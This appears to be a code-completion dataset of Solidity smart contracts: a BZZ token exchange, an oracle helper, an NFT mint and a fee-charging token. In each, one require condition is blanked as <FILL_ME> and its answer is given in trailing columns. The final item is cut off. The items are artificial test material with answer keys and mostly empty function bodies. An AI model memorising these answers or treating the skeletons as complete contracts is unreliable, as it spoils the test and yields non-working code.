import "solmate/tokens/ERC20.sol";
import "solmate/utils/SafeTransferLib.sol";
import "makerdao/dss/DaiAbstract.sol";
import "makerdao/dss/PsmAbstract.sol";
import "makerdao/dss/GemJoinAbstract.sol";
import "univ3/interfaces/IUniswapV3Pool.sol";
import "univ3/interfaces/callback/IUniswapV3SwapCallback.sol";
import {I3PoolCurve} from "./interfaces/I3PoolCurve.sol";
import {IBondingCurve} from "./interfaces/IBondingCurve.sol";
import {IForeignBridge} from "./interfaces/IForeignBridge.sol";
enum Stablecoin {
DAI,
USDC,
USDT
}
enum LiquidityProvider {
NONE,
DAI_PSM,
CURVE_FI_3POOL,
UNISWAP_V3
}
struct BuyParams {
// the amount of bzz to buy
uint256 bzzAmount;
// the maximum amount of stablecoin (in native stablecoin decimals) to pay for `bzzAmount`
uint256 maxStablecoinAmount;
// the stablecoin to use for payment
Stablecoin inputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
// options as a byte
// bit 0: whether to use permit
// bit 1: whether to use the bridge
// therefore options = 1 means use permit, options = 2 means use bridge, options = 3 means use both
uint256 options;
// the data for the permit and/or bridge
bytes data;
}
struct SellParams {
// the amount of bzz to sell
uint256 bzzAmount;
// the minimum amount of stablecoin to receive for `bzzAmount`
uint256 minStablecoinAmount;
// which stablecoin to sell to
Stablecoin outputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
}
contract Exchange is Owned, IUniswapV3SwapCallback {
using SafeTransferLib for ERC20;
// --- constants
// maximum fee is hardcoded at 100 basis points (1%)
uint256 public constant MAX_FEE = 100;
/// @dev the conversion rate from 6 decimals to 18 decimals (USDC/USDT to DAI)
uint256 internal constant TO_DAI = 1000000000000;
/// @notice Uniswap V3 pool constants from TickMath
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
// --- immutables
// tokens that are processed in this exchange
ERC20 private immutable dai;
ERC20 private immutable bzz;
ERC20 private immutable usdc;
ERC20 private immutable usdt;
// the bonding curve we use for exchanging dai <--> bzz
IBondingCurve public immutable bc;
// the curve.fi 3pool we use for exchanging dai <--> usdc/usdt
I3PoolCurve public immutable curveFi3Pool;
// the uniswap v3 pool we use for exchanging usdc <--> dai
IUniswapV3Pool public immutable usdcV3Pool;
IUniswapV3Pool public immutable usdtV3Pool;
// the foreign bridge we use for relaying tokens
IForeignBridge public immutable bridge;
// the dai psm contract (this comes in handy when moving large amounts of usdc)
PsmAbstract public immutable psm;
// --- state
uint256 public fee;
constructor(
address owner,
address _bc,
address _curveFi3Pool,
address _usdcUniswapV3Pool,
address _usdtUniswapV3Pool,
address _psm,
address _bridge,
uint256 _fee
) Owned(owner) {
}
// --- ADMINISTRATION ---
/// @dev All functions in this section MUST have the onlyOwner modifier
/// Allow configuration of uint256 variables after contract deployment, respecting maximums.
/// @param _fee the fee to set for the exchange
function setFee(uint256 _fee) external onlyOwner {
}
/// Sweeper function for any ERC20 tokens accidentally sent to the contract
/// @notice this function will send the ERC20 tokens to the owner of the contract
/// @param token the address of the token to sweep
/// @param wad amount of ERC20 tokens to send to owner
function sweep(ERC20 token, uint256 wad) external onlyOwner {
}
// --- EXCHANGE ---
/// The exchange allows for buying / selling BZZ from/to stablecoins
///
/// BZZ market: Bonding Curve (BZZ <--> DAI)
/// Stablecoin markets:
/// a. Curve.fi 3pool (DAI <--> USDC/USDT)
/// b. Uniswap V3 (DAI <--> USDC/USDT)
/// c. DAI PSM (DAI <--> USDC)
/// Buy BZZ with a stablecoin
/// @param _buyParams the parameters for the buy transaction
/// @return totalCost in stablecoin of the transaction
function buy(BuyParams calldata _buyParams) external returns (uint256 totalCost) {
// 1. calculate the price to buy wad amount of bzz, then calculate fee
uint256 collateralCost = bc.buyPrice(_buyParams.bzzAmount); // dai cost
unchecked {
uint256 feeCost = collateralCost * fee / 10000; // dai fee
totalCost = collateralCost + feeCost; // dai total
}
// 2. enforce slippage constraints
/// @dev Allow for 2bps slippage for Uniswap V3 and Curve.fi
require(<FILL_ME>)
bytes memory permitData;
bytes memory bridgeData;
// 3. extract any optional data
if (_buyParams.options != 0) {
if (_buyParams.options == 1) {
// the user has given us a permit signature for the stablecoin token only
permitData = _buyParams.data;
_permit(_buyParams.inputCoin, permitData);
} else if (_buyParams.options == 2) {
// the user has specified some data for dealing with the bridge
bridgeData = _buyParams.data;
} else {
// if we get here, we will assume that this is a permit signature and bridge data
(permitData, bridgeData) = abi.decode(_buyParams.data, (bytes, bytes));
_permit(_buyParams.inputCoin, permitData);
}
}
// 4. if input coin is not dai, then swap to dai (moves to this contract)
// else if input coin is dai, then transfer dai to this contract
if (uint8(Stablecoin.DAI) < uint8(_buyParams.inputCoin)) {
_daiRouter(
_buyParams.lp,
(
_buyParams.lp != LiquidityProvider.DAI_PSM // if not using dai psm, we need 2bps slippage
? totalCost * 10002 / 10000 / TO_DAI // 2bps slippage
: totalCost / TO_DAI
), // otherwise 0bps slippage
true,
_buyParams.inputCoin == Stablecoin.USDC ? address(usdc) : address(usdt)
);
} else {
_move(dai, msg.sender, address(this), totalCost);
}
// 5. buy bzz from the bonding curve and send to the user
if (_buyParams.options < 2) {
// no bridging data, therefore we are to just send to the user here on ethereum mainnet
// use mintTo to save on a transfer
bc.mintTo(_buyParams.bzzAmount, collateralCost, msg.sender);
return totalCost;
}
// 6. if we are here, then we are to bridge the bzz to the other chain
bc.mint(_buyParams.bzzAmount, collateralCost);
// there are two options here, depending on the calldata length
// a. if calldata is just an abi encoded address, then we send to an address on gnosis chain.
// this is handy if wanting to send direct to a bee node's wallet
// b. if calldata is longer than just an abi encoded address, we will relay tokens and provide
// callback data (allows for flexibility when sending to contracts on gnosis chain)
if (bridgeData.length == 32) {
// relay direct to a wallet
bridge.relayTokens(address(bzz), abi.decode(bridgeData, (address)), _buyParams.bzzAmount);
} else {
(address dest, bytes memory cd) = abi.decode(bridgeData, (address, bytes));
bridge.relayTokensAndCall(address(bzz), dest, _buyParams.bzzAmount, cd);
}
}
/// Sell BZZ for a stablecoin
/// @param _sellParams the parameters for the sell transaction
/// @return amount in stablecoin of the transaction
function sell(SellParams calldata _sellParams) external returns (uint256 amount) {
}
// --- helpers
/// Route from dai <--> usdc/usdt using various liquidity pools
/// @param lp the liquidity pool to use
/// @param wad the amount of the stablecoin to exchange (in the stablecoin decimals)
/// @param toDai if true, we are converting from stablecoin to dai, otherwise we are converting from dai to stablecoin
/// @param gem the non-dai stablecoin address
/// @return output the amount of stablecoin received (in the stablecoin decimals)
function _daiRouter(LiquidityProvider lp, uint256 wad, bool toDai, address gem) internal returns (uint256 output) {
}
/// Curve fi 3pool routing
/// @param wad the amount of the stablecoin to swap
/// @param toDai whether we are going to dai or from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _curveFi3PoolRouter(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// Uniswap V3 routing for dai/usdc and dai/usdt pools
/// @param wad the amount of the stablecoin to swap
/// @param toDai true if we are going to dai, false if we are going from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _uniswapV3Router(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// DAI PSM router
/// @notice the DAI PSM router only supports dai <--> usdc so no need for the gem param
/// @dev this function will handle the routing of dai <--> usdc via the dai psm
/// @param wad the amount of dai or usdc to exchange
/// @param toDai true if we are going to dai, false if we are going from dai
/// @return uint256 the amount of the destination coin received
function _daiPsmRouter(uint256 wad, bool toDai) internal returns (uint256) {
}
/// Move tokens from an address to another
/// @param token the token to move
/// @param from the address to move from
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address from, address to, uint256 amount) internal {
}
/// Move tokens to an address
/// @param token the token to move
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address to, uint256 amount) internal {
}
/// Get the balance of a token for an address
/// @param token the token to get the balance of
/// @param addr the address to get the balance of
/// @return uint256 the balance of the token for the address
function _balance(address token, address addr) internal view returns (uint256) {
}
/// Permit handler for dai and usdc
/// @param _sc the stablecoin whose permit we are handling
/// @param _pp the permit parameters
/// @dev this function is used to handle the permit signatures for dai and usdc
function _permit(Stablecoin _sc, bytes memory _pp) internal {
}
/// --- callbacks
/// Uniswap V3 swap callback to transfer tokens.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call.
/// In this implementation, assumes that the pool key and a minimum receive amount
/// are passed via `data` to save on external calls.
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
}
}
| _buyParams.maxStablecoinAmount*(_buyParams.inputCoin==Stablecoin.DAI?1:TO_DAI)>(uint8(_buyParams.lp)<=1?totalCost:totalCost*10002/10000),"exchange/slippage" | 69,212 | _buyParams.maxStablecoinAmount*(_buyParams.inputCoin==Stablecoin.DAI?1:TO_DAI)>(uint8(_buyParams.lp)<=1?totalCost:totalCost*10002/10000) |
"exchange/slippage" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;
import "solmate/auth/Owned.sol";
import "solmate/tokens/ERC20.sol";
import "solmate/utils/SafeTransferLib.sol";
import "makerdao/dss/DaiAbstract.sol";
import "makerdao/dss/PsmAbstract.sol";
import "makerdao/dss/GemJoinAbstract.sol";
import "univ3/interfaces/IUniswapV3Pool.sol";
import "univ3/interfaces/callback/IUniswapV3SwapCallback.sol";
import {I3PoolCurve} from "./interfaces/I3PoolCurve.sol";
import {IBondingCurve} from "./interfaces/IBondingCurve.sol";
import {IForeignBridge} from "./interfaces/IForeignBridge.sol";
enum Stablecoin {
DAI,
USDC,
USDT
}
enum LiquidityProvider {
NONE,
DAI_PSM,
CURVE_FI_3POOL,
UNISWAP_V3
}
struct BuyParams {
// the amount of bzz to buy
uint256 bzzAmount;
// the maximum amount of stablecoin (in native stablecoin decimals) to pay for `bzzAmount`
uint256 maxStablecoinAmount;
// the stablecoin to use for payment
Stablecoin inputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
// options as a byte
// bit 0: whether to use permit
// bit 1: whether to use the bridge
// therefore options = 1 means use permit, options = 2 means use bridge, options = 3 means use both
uint256 options;
// the data for the permit and/or bridge
bytes data;
}
struct SellParams {
// the amount of bzz to sell
uint256 bzzAmount;
// the minimum amount of stablecoin to receive for `bzzAmount`
uint256 minStablecoinAmount;
// which stablecoin to sell to
Stablecoin outputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
}
contract Exchange is Owned, IUniswapV3SwapCallback {
using SafeTransferLib for ERC20;
// --- constants
// maximum fee is hardcoded at 100 basis points (1%)
uint256 public constant MAX_FEE = 100;
/// @dev the conversion rate from 6 decimals to 18 decimals (USDC/USDT to DAI)
uint256 internal constant TO_DAI = 1000000000000;
/// @notice Uniswap V3 pool constants from TickMath
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
// --- immutables
// tokens that are processed in this exchange
ERC20 private immutable dai;
ERC20 private immutable bzz;
ERC20 private immutable usdc;
ERC20 private immutable usdt;
// the bonding curve we use for exchanging dai <--> bzz
IBondingCurve public immutable bc;
// the curve.fi 3pool we use for exchanging dai <--> usdc/usdt
I3PoolCurve public immutable curveFi3Pool;
// the uniswap v3 pool we use for exchanging usdc <--> dai
IUniswapV3Pool public immutable usdcV3Pool;
IUniswapV3Pool public immutable usdtV3Pool;
// the foreign bridge we use for relaying tokens
IForeignBridge public immutable bridge;
// the dai psm contract (this comes in handy when moving large amounts of usdc)
PsmAbstract public immutable psm;
// --- state
uint256 public fee;
constructor(
address owner,
address _bc,
address _curveFi3Pool,
address _usdcUniswapV3Pool,
address _usdtUniswapV3Pool,
address _psm,
address _bridge,
uint256 _fee
) Owned(owner) {
}
// --- ADMINISTRATION ---
/// @dev All functions in this section MUST have the onlyOwner modifier
/// Allow configuration of uint256 variables after contract deployment, respecting maximums.
/// @param _fee the fee to set for the exchange
function setFee(uint256 _fee) external onlyOwner {
}
/// Sweeper function for any ERC20 tokens accidentally sent to the contract
/// @notice this function will send the ERC20 tokens to the owner of the contract
/// @param token the address of the token to sweep
/// @param wad amount of ERC20 tokens to send to owner
function sweep(ERC20 token, uint256 wad) external onlyOwner {
}
// --- EXCHANGE ---
/// The exchange allows for buying / selling BZZ from/to stablecoins
///
/// BZZ market: Bonding Curve (BZZ <--> DAI)
/// Stablecoin markets:
/// a. Curve.fi 3pool (DAI <--> USDC/USDT)
/// b. Uniswap V3 (DAI <--> USDC/USDT)
/// c. DAI PSM (DAI <--> USDC)
/// Buy BZZ with a stablecoin
/// @param _buyParams the parameters for the buy transaction
/// @return totalCost in stablecoin of the transaction
function buy(BuyParams calldata _buyParams) external returns (uint256 totalCost) {
}
/// Sell BZZ for a stablecoin
/// @param _sellParams the parameters for the sell transaction
/// @return amount in stablecoin of the transaction
function sell(SellParams calldata _sellParams) external returns (uint256 amount) {
// 1. calculate the reward for selling wad bzz and enforce slippage constraint
uint256 collateralReward = bc.sellReward(_sellParams.bzzAmount); // dai reward
uint256 feeReward = collateralReward * fee / 10000; // dai fee
amount = collateralReward - feeReward; // dai amount
// 2. enforce slippage constraints
/// @dev Allow for 2bps slippage for Uniswap V3 and Curve.fi
require(<FILL_ME>)
// 3. transfer bzz from the user to this contract
_move(bzz, msg.sender, address(this), _sellParams.bzzAmount);
// 4. redeem bzz from the bonding curve
bc.redeem(_sellParams.bzzAmount, collateralReward);
// 5. if output coin is not dai, then swap to output coin (moves to user)
// else if output coin is dai, then transfer dai to user
if (uint8(Stablecoin.DAI) < uint8(_sellParams.outputCoin)) {
uint256 afterLp = _daiRouter(
_sellParams.lp,
(
_sellParams.lp != LiquidityProvider.DAI_PSM // if not using dai psm, we need 2bps slippage
? amount * 9998 / 10000 // 2bps slippage
: amount
), // otherwise 0bps slippage
false,
_sellParams.outputCoin == Stablecoin.USDC ? address(usdc) : address(usdt)
);
// if the LP is DAI_PSM or CURVE_FI, then we need to transfer the output coin to the user
if (uint8(_sellParams.lp) < 3) {
_move(_sellParams.outputCoin == Stablecoin.USDC ? usdc : usdt, msg.sender, afterLp);
}
} else {
_move(dai, address(this), msg.sender, amount);
}
}
// --- helpers
/// Route from dai <--> usdc/usdt using various liquidity pools
/// @param lp the liquidity pool to use
/// @param wad the amount of the stablecoin to exchange (in the stablecoin decimals)
/// @param toDai if true, we are converting from stablecoin to dai, otherwise we are converting from dai to stablecoin
/// @param gem the non-dai stablecoin address
/// @return output the amount of stablecoin received (in the stablecoin decimals)
function _daiRouter(LiquidityProvider lp, uint256 wad, bool toDai, address gem) internal returns (uint256 output) {
}
/// Curve fi 3pool routing
/// @param wad the amount of the stablecoin to swap
/// @param toDai whether we are going to dai or from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _curveFi3PoolRouter(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// Uniswap V3 routing for dai/usdc and dai/usdt pools
/// @param wad the amount of the stablecoin to swap
/// @param toDai true if we are going to dai, false if we are going from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _uniswapV3Router(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// DAI PSM router
/// @notice the DAI PSM router only supports dai <--> usdc so no need for the gem param
/// @dev this function will handle the routing of dai <--> usdc via the dai psm
/// @param wad the amount of dai or usdc to exchange
/// @param toDai true if we are going to dai, false if we are going from dai
/// @return uint256 the amount of the destination coin received
function _daiPsmRouter(uint256 wad, bool toDai) internal returns (uint256) {
}
/// Move tokens from an address to another
/// @param token the token to move
/// @param from the address to move from
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address from, address to, uint256 amount) internal {
}
/// Move tokens to an address
/// @param token the token to move
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address to, uint256 amount) internal {
}
/// Get the balance of a token for an address
/// @param token the token to get the balance of
/// @param addr the address to get the balance of
/// @return uint256 the balance of the token for the address
function _balance(address token, address addr) internal view returns (uint256) {
}
/// Permit handler for dai and usdc
/// @param _sc the stablecoin whose permit we are handling
/// @param _pp the permit parameters
/// @dev this function is used to handle the permit signatures for dai and usdc
function _permit(Stablecoin _sc, bytes memory _pp) internal {
}
/// --- callbacks
/// Uniswap V3 swap callback to transfer tokens.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call.
/// In this implementation, assumes that the pool key and a minimum receive amount
/// are passed via `data` to save on external calls.
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
}
}
| _sellParams.minStablecoinAmount*(_sellParams.outputCoin==Stablecoin.DAI?1:TO_DAI)<(uint8(_sellParams.lp)<=1?amount:amount*9998/10000),"exchange/slippage" | 69,212 | _sellParams.minStablecoinAmount*(_sellParams.outputCoin==Stablecoin.DAI?1:TO_DAI)<(uint8(_sellParams.lp)<=1?amount:amount*9998/10000) |
'helper is not owner' | // SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import {LendingRateOracle} from '../mocks/oracle/LendingRateOracle.sol';
import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol';
contract StableAndVariableTokensHelper is Ownable {
constructor() {}
function setOracleBorrowRates(
address[] calldata assets,
uint256[] calldata rates,
address oracle
) external payable onlyOwner {
}
function setOracleOwnership(address oracle, address admin) external payable onlyOwner {
require(admin != address(0), 'owner can not be zero');
require(<FILL_ME>)
LendingRateOracle(oracle).transferOwnership(admin);
}
}
| LendingRateOracle(oracle).owner()==address(this),'helper is not owner' | 69,258 | LendingRateOracle(oracle).owner()==address(this) |
"No more" | /*
__________ ____ __ _____ __ _________ __ ___ _ ____ __ _ ______________
/ ____/ __ \/ __ )/ / / _/ | / / / ____/ | / / / | | |/ /\ \/ / | | / /_ __/ ____/
/ / __/ / / / __ / / / // |/ / / / __/ /| | / / / /| | | / \ / | | /| / / / / / /_
/ /_/ / /_/ / /_/ / /____/ // /| / / /_/ / ___ |/ /___/ ___ |/ | / / | |/ |/ / / / / __/
\____/\____/_____/_____/___/_/ |_/ \____/_/ |_/_____/_/ |_/_/|_| /_/ |__/|__/ /_/ /_/
*/
pragma solidity ^0.8.0;
contract GoblinGalaxyBanners is ERC721A, Ownable, ReentrancyGuard {
using Address for address;
using Strings for uint;
string public baseTokenURI = "";
uint256 public maxSupply = 1111;
uint256 public MAX_MINTS_PER_TX = 20;
uint256 public PUBLIC_SALE_PRICE = 0.0025 ether;
uint256 public NUM_FREE_MINTS = 888;
uint256 public MAX_FREE_PER_WALLET = 1;
bool public isPublicSaleActive = true;
constructor(
) ERC721A("gOBLINgALAXYbANNERSwtf", "GPB") {
}
function mint(uint256 numberOfTokens)
external
payable
{
require(isPublicSaleActive, "Public sale is not open");
require(<FILL_ME>)
if(totalSupply() > NUM_FREE_MINTS){
require(
(PUBLIC_SALE_PRICE * numberOfTokens) <= msg.value,
"Incorrect ETH value sent"
);
} else {
if (numberOfTokens > MAX_FREE_PER_WALLET) {
require(
(PUBLIC_SALE_PRICE * numberOfTokens) <= msg.value,
"Incorrect ETH value sent"
);
require(
numberOfTokens <= MAX_MINTS_PER_TX,
"Max mints per transaction exceeded"
);
} else {
require(
numberOfTokens <= MAX_FREE_PER_WALLET,
"Max mints per transaction exceeded"
);
}
}
_safeMint(msg.sender, numberOfTokens);
}
function setBaseURI(string memory baseURI)
public
onlyOwner
{
}
function _startTokenId() internal override view virtual returns (uint256) {
}
function treasuryMint(uint quantity)
public
onlyOwner
{
}
function withdraw()
public
onlyOwner
nonReentrant
{
}
function tokenURI(uint _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function setIsPublicSaleActive(bool _isPublicSaleActive)
external
onlyOwner
{
}
function setNumFreeMints(uint256 _numfreemints)
external
onlyOwner
{
}
function setMaxSupply(uint256 _maxSupply)
external
onlyOwner
{
}
function setSalePrice(uint256 _price)
external
onlyOwner
{
}
function setMaxLimitPerTransaction(uint256 _limit)
external
onlyOwner
{
}
function setFreeLimitPerWallet(uint256 _limit)
external
onlyOwner
{
}
}
| totalSupply()+numberOfTokens<maxSupply+1,"No more" | 69,290 | totalSupply()+numberOfTokens<maxSupply+1 |
"Incorrect ETH value sent" | /*
__________ ____ __ _____ __ _________ __ ___ _ ____ __ _ ______________
/ ____/ __ \/ __ )/ / / _/ | / / / ____/ | / / / | | |/ /\ \/ / | | / /_ __/ ____/
/ / __/ / / / __ / / / // |/ / / / __/ /| | / / / /| | | / \ / | | /| / / / / / /_
/ /_/ / /_/ / /_/ / /____/ // /| / / /_/ / ___ |/ /___/ ___ |/ | / / | |/ |/ / / / / __/
\____/\____/_____/_____/___/_/ |_/ \____/_/ |_/_____/_/ |_/_/|_| /_/ |__/|__/ /_/ /_/
*/
pragma solidity ^0.8.0;
contract GoblinGalaxyBanners is ERC721A, Ownable, ReentrancyGuard {
using Address for address;
using Strings for uint;
string public baseTokenURI = "";
uint256 public maxSupply = 1111;
uint256 public MAX_MINTS_PER_TX = 20;
uint256 public PUBLIC_SALE_PRICE = 0.0025 ether;
uint256 public NUM_FREE_MINTS = 888;
uint256 public MAX_FREE_PER_WALLET = 1;
bool public isPublicSaleActive = true;
constructor(
) ERC721A("gOBLINgALAXYbANNERSwtf", "GPB") {
}
function mint(uint256 numberOfTokens)
external
payable
{
require(isPublicSaleActive, "Public sale is not open");
require(totalSupply() + numberOfTokens < maxSupply + 1, "No more");
if(totalSupply() > NUM_FREE_MINTS){
require(<FILL_ME>)
} else {
if (numberOfTokens > MAX_FREE_PER_WALLET) {
require(
(PUBLIC_SALE_PRICE * numberOfTokens) <= msg.value,
"Incorrect ETH value sent"
);
require(
numberOfTokens <= MAX_MINTS_PER_TX,
"Max mints per transaction exceeded"
);
} else {
require(
numberOfTokens <= MAX_FREE_PER_WALLET,
"Max mints per transaction exceeded"
);
}
}
_safeMint(msg.sender, numberOfTokens);
}
function setBaseURI(string memory baseURI)
public
onlyOwner
{
}
function _startTokenId() internal override view virtual returns (uint256) {
}
function treasuryMint(uint quantity)
public
onlyOwner
{
}
function withdraw()
public
onlyOwner
nonReentrant
{
}
function tokenURI(uint _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function setIsPublicSaleActive(bool _isPublicSaleActive)
external
onlyOwner
{
}
function setNumFreeMints(uint256 _numfreemints)
external
onlyOwner
{
}
function setMaxSupply(uint256 _maxSupply)
external
onlyOwner
{
}
function setSalePrice(uint256 _price)
external
onlyOwner
{
}
function setMaxLimitPerTransaction(uint256 _limit)
external
onlyOwner
{
}
function setFreeLimitPerWallet(uint256 _limit)
external
onlyOwner
{
}
}
| (PUBLIC_SALE_PRICE*numberOfTokens)<=msg.value,"Incorrect ETH value sent" | 69,290 | (PUBLIC_SALE_PRICE*numberOfTokens)<=msg.value |
"Must keep fees lower than 30%" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexPair {
function sync() external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor() {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) external virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract TIMES is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
address public RouterAddress;
address public LiquidityReceiver;
uint256 public maxTxnAmount;
uint256 public maxWallet;
uint256 public swapTokensAtAmount;
//launch variables
bool public tradingActive = false;
uint256 public _Blocks;
uint256 public tradingActiveBlock = 0;
bool public swapEnabled = false;
// prevent more than 1 buy on same block this may cuz rug check bots to fail but helpful on launches
mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = false;
//disable flash wallets & mev bots
bool public _OnlyHuman=false;
mapping(address => bool) public FlashWalletExempt;
//fees setup
uint256 public TotalbuyFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public TotalsellFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedmaxTxnAmount;
// set automarketmaker pairs
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
//antibot
address[] private _blackListedBots;
mapping (address => bool) private _isBlackListedBot;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() payable {
}
receive() external payable {}
// Toggle Transfer delay
function toggleTransferDelay(bool value) external onlyOwner {
}
function toggleOnlyHumans(bool value) external onlyOwner {
}
function setSwapTokensAt(uint256 newAmount) external onlyOwner returns (bool){
}
function updateMaxTxn_base1000(uint256 newNum) external onlyOwner {
}
function updateMaxWallet_base1000(uint256 newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function _setFlashWalletExempt(address account, bool value) external onlyOwner {
}
// in case something goes wrong on auto swap
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function _setbuyfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
require(<FILL_ME>)
buyMarketingFee = _marketing;
buyLiquidityFee = _liquidity;
TotalbuyFees = buyMarketingFee + buyLiquidityFee;
}
function _setsellfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function SetupFeeReceivers(address _marketing,address _liquidity,address _dev) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _checkFlashWallet(address _to, address _from) internal virtual returns (address) {
}
function isContract(address account) internal view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
